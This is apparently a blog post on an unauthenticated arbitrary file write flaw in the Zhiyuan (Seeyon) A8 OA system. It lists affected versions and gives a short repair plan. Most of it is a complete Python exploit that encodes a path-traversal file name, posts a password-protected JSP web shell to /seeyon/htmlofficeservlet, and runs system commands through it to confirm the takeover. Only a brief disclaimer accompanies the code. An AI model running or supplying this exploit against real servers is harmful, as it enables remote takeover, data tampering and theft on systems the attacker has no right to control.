Zhiyuan A8 arbitrary file write vulnerability

Keywords: PHP JSP Java Python xml

Recently, it has been revealed that some versions of Zhiyuan OA system have arbitrary file writing vulnerabilities. Remote attackers can write arbitrary files to the target server by post carefully constructed data to URL / seeyon / htmlofficeservlet without logging in. After writing successfully, they can execute arbitrary system commands to control the target server.

 

Currently known vulnerable versions:

Zhiyuan A8-V5 collaborative management software V6.1sp1
Zhiyuan A8 + collaborative management software V7.0, V7.0sp1, V7.0sp2, V7.0sp3
Zhiyuan A8 + collaborative management software V7.1

 

An attacker who successfully exploits this vulnerability can write arbitrary files, execute arbitrary code, change or delete data on the target system.

It is worth noting that the default permission of the system is very high, and it may cause great harm if it is successfully used by the attacker.

 

Method to verify whether there is a vulnerability: access URL /seeyon/htmlofficeservlet may have the following content vulnerability

DBSTEP V3.0     0            21               0             htmoffice operate err

 

Here is a section of wild poc:

This poc is only for study and research, please do not damage other computers!

Poc first encrypts the path to write to the file, and then obtains the encrypted path to write to any file Getshell

python:

 1 #coding=utf-8
 2 import sys
 3 import requests
 4 
 5 def encode(origin_bytes):
 6     """
 7     Restructure base64 Encoding function
 8     """
 9     # Every one will be bytes Convert to binary string
10     base64_charset = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6"
11     base64_bytes = ['{:0>8}'.format(bin(ord(b)).replace('0b', '')) for b in origin_bytes]
12  
13     resp = ''
14     nums = len(base64_bytes) // 3
15     remain = len(base64_bytes) % 3
16  
17     integral_part = base64_bytes[0:3 * nums]
18     while integral_part:
19         # Take three bytes, convert to four integers every six bits
20         tmp_unit = ''.join(integral_part[0:3])
21         tmp_unit = [int(tmp_unit[x: x + 6], 2) for x in [0, 6, 12, 18]]
22         # Take corresponding base64 character
23         resp += ''.join([base64_charset[i] for i in tmp_unit])
24         integral_part = integral_part[3:]
25  
26     if remain:
27         # Make up three bytes, and make up 0000 0000 for each byte
28         remain_part = ''.join(base64_bytes[3 * nums:]) + (3 - remain) * '0' * 8
29         # Take three bytes, convert to four integers every six bits
30         # 2 can be constructed with 1 byte left base64 Characters, supplementary==;The remaining 2 bytes can construct 3 base64 Characters, supplementary=
31         tmp_unit = [int(remain_part[x: x + 6], 2) for x in [0, 6, 12, 18]][:remain + 1]
32         resp += ''.join([base64_charset[i] for i in tmp_unit]) + (3 - remain) * '='
33  
34     return resp
35 def getshell(urls):
36     url = urls + "/seeyon/htmlofficeservlet"
37     headers = {
38         "Pragma": "no-cache",
39         "Cache-Control": "no-cache",
40         "Upgrade-Insecure-Requests": "1",
41         "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
42         "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
43         "Accept-Language": "zh-CN,zh;q=0.9",
44         "Connection": "close",
45     }
46     file_name = encode('..\\..\\..\\ApacheJetspeed\\webapps\\seeyon\\checkload32.jsp')
47     payload = """DBSTEP V3.0     355             0               666             DBSTEP=OKMLlKlV\r
48 OPTION=S3WYOSWLBSGr\r
49 currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66\r
50 CREATEDATE=wUghPB3szB3Xwg66\r
51 RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6\r
52 originalFileId=wV66\r
53 originalCreateDate=wUghPB3szB3Xwg66\r
54 FILENAME="""+file_name+"""\r
55 needReadFile=yRWZdAS6\r
56 originalCreateDate=wLSGP4oEzLKAz4=iz=66\r
57 <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("zs".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce"""
58     requests.post(url=url,data=payload,headers=headers)
59     result = requests.get(urls + "/seeyon/checkload32.jsp?pwd=zs&cmd=cmd+/c+echo+ZuoShou_Jsp_Shell")
60     if 'ZuoShou_Jsp_Shell' in result.text :
61         print(u'Jsp: Getshell Success\t{}'.format(urls + "/seeyon/checkload32.jsp?pwd=zs&cmd=cmd /c whoami"))
62     else :
63         print(u'Getshell fail')
64 if __name__ == '__main__':
65     if len(sys.argv)!=2 :
66         print(u"\t\t Usage: python poc.py 'http://loaclhost'")
67     else:
68         url = sys.argv[1]
69         getshell(url)

 

Repair plan:

1: restrict access to the path / seeyon/htmlofficeservlet

2: contact the official website in time to patch http://www.seeyon.com/Info/constant.html

Posted by JakeJ on Sat, 02 Nov 2019 02:37:52 -0700